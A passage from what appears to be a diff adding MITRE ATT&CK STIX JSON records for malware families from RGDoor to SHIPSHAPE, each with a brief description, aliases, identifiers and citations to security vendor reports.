backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RGDoor" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0258", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0258" + }, + { + "description": "(Citation: Unit 42 RGDoor Jan 2018)", + "source_name": "RGDoor" + }, + { + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "source_name": "Unit 42 RGDoor Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ] + }, + { + "name": "RIPTIDE", + "description": "[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RIPTIDE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "created": "2017-05-31T21:32:11.911Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0003", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0003" + }, + { + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "source_name": "Moran 2014", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ] + }, + { + "name": "ROCKBOOT", + "description": "[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ROCKBOOT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7", + "created": "2017-05-31T21:33:07.565Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0112", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0112" + }, + { + "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.", + "source_name": "FireEye Bootkits", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" + } + ] + }, + { + "name": "ROKRAT", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123)", + "id": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ROKRAT" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-07-26T22:56:57.409Z", + "external_references": [ + { + "external_id": "S0240", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0240" + }, + { + "description": "(Citation: Talos ROKRAT 2) (Citation: Talos Group123)", + "source_name": "ROKRAT" + }, + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "source_name": "Talos ROKRAT 2", + "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html" + } + ] + }, + { + "name": "RTM", + "description": "[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). (Citation: ESET RTM Feb 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RTM" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created": "2017-05-31T21:33:26.565Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0148", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0148" + }, + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ] + }, + { + "name": "RawPOS", + "description": "[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "id": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RawPOS", + "FIENDCRY", + "DUEBREW", + "DRIFTWOOD" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Walker Johnson" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0169", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0169" + }, + { + "description": "(Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "source_name": "RawPOS" + }, + { + "description": "The FIENDCRY component is a memory scraper based on MemPDump that scans through process memory looking for regular expressions. Its stage 1 component scans all processes, and its stage 2 component targets a specific process of interest. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: Github Mempdump) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "source_name": "FIENDCRY" + }, + { + "description": "The DUEBREW component is a Perl2Exe binary launcher. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "source_name": "DUEBREW" + }, + { + "description": "The DRIFTWOOD component is a Perl2Exe compiled Perl script used by G0053 after they have identified data of interest on victims. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "source_name": "DRIFTWOOD" + }, + { + "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "source_name": "Kroll RawPOS Jan 2017", + "url": "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105" + }, + { + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "source_name": "TrendMicro RawPOS April 2015", + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf" + }, + { + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + }, + { + "description": "DiabloHorn. (2015, March 22). mempdump. Retrieved October 6, 2017.", + "source_name": "Github Mempdump", + "url": "https://github.com/DiabloHorn/mempdump" + }, + { + "description": "Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.", + "source_name": "Visa RawPOS March 2015", + "url": "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf" + }, + { + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "Reaver", + "description": "[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](https://attack.mitre.org/techniques/T1196). (Citation: Palo Alto Reaver Nov 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Reaver" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0172", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0172" + }, + { + "description": "(Citation: Palo Alto Reaver Nov 2017)", + "source_name": "Reaver" + }, + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ] + }, + { + "name": "RedLeaves", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)", + "id": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RedLeaves", + "BUGJUICE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Edward Millington" + ], + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0153", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0153" + }, + { + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)", + "source_name": "RedLeaves" + }, + { + "description": "Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named BUGJUICE by FireEye is likely the same as the malware RedLeaves. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)", + "source_name": "BUGJUICE" + }, + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "description": "Carr, N.. (2017, April 6). Retrieved June 29, 2017.", + "source_name": "Twitter Nick Carr APT10", + "url": "https://twitter.com/ItsReallyNick/status/850105140589633536" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "Regin", + "description": "[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Regin" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "created": "2017-05-31T21:32:17.959Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0019", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0019" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ] + }, + { + "name": "Remexi", + "description": "[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)", + "id": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Remexi" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-04-17T19:18:00.270Z", + "modified": "2019-04-22T20:18:06.862Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0375", + "url": "https://attack.mitre.org/software/S0375" + }, + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ] + }, + { + "name": "RemoteCMD", + "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RemoteCMD" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0166", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0166" + }, + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ] + }, + { + "name": "Remsec", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Remsec", + "Backdoor.Remsec", + "ProjectSauron" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "created": "2017-05-31T21:33:12.858Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0125", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0125" + }, + { + "description": "ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog)", + "source_name": "ProjectSauron" + }, + { + "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.", + "source_name": "Symantec Strider Blog", + "url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Blog", + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/" + } + ] + }, + { + "name": "Revenge RAT", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)", + "id": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Revenge RAT" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-05-02T01:07:36.780Z", + "modified": "2019-10-08T13:40:44.008Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0379", + "url": "https://attack.mitre.org/software/S0379" + }, + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + }, + { + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "source_name": "Cofense RevengeRAT Feb 2019", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ] + }, + { + "name": "RobbinHood", + "description": "[RobbinHood](https://attack.mitre.org/software/S0400) is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)", + "id": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "RobbinHood" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-07-29T14:27:18.204Z", + "modified": "2019-07-29T15:46:14.570Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0400", + "url": "https://attack.mitre.org/software/S0400" + }, + { + "source_name": "CarbonBlack RobbinHood May 2019", + "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", + "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/" + }, + { + "source_name": "BaltimoreSun RobbinHood May 2019", + "description": "Duncan, I., Campbell, C. (2019, May 7). Baltimore city government computer network hit by ransomware attack. Retrieved July 29, 2019.", + "url": "https://www.baltimoresun.com/politics/bs-md-ci-it-outage-20190507-story.html" + } + ] + }, + { + "name": "RogueRobin", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) is a payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079) that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)", + "id": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "malware", + "x_mitre_aliases": [ + "RogueRobin" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-04-24T23:55:43.081Z", + "external_references": [ + { + "external_id": "S0270", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0270" + }, + { + "description": "(Citation: Unit 42 DarkHydrus July 2018)", + "source_name": "RogueRobin" + }, + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ] + }, + { + "name": "Rover", + "description": "[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Rover" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "created": "2017-05-31T21:32:58.226Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0090", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0090" + }, + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ] + }, + { + "name": "RunningRAT", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RunningRAT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0253", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0253" + }, + { + "description": "(Citation: McAfee Gold Dragon)", + "source_name": "RunningRAT" + }, + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "name": "S-Type", + "description": "[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2013 to 2014. (Citation: Cylance Dust Storm)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "S-Type" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "created": "2017-05-31T21:32:55.925Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0085", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0085" + }, + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ] + }, + { + "name": "SEASHARPEE", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SEASHARPEE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0185", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0185" + }, + { + "description": "(Citation: FireEye APT34 Webinar Dec 2017)", + "source_name": "SEASHARPEE" + }, + { + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Webinar Dec 2017", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ] + }, + { + "name": "SHIPSHAPE", + "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SHIPSHAPE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "created": "2017-05-31T21:32:21.366Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0028", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0028" + }, + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ] + }, + { + 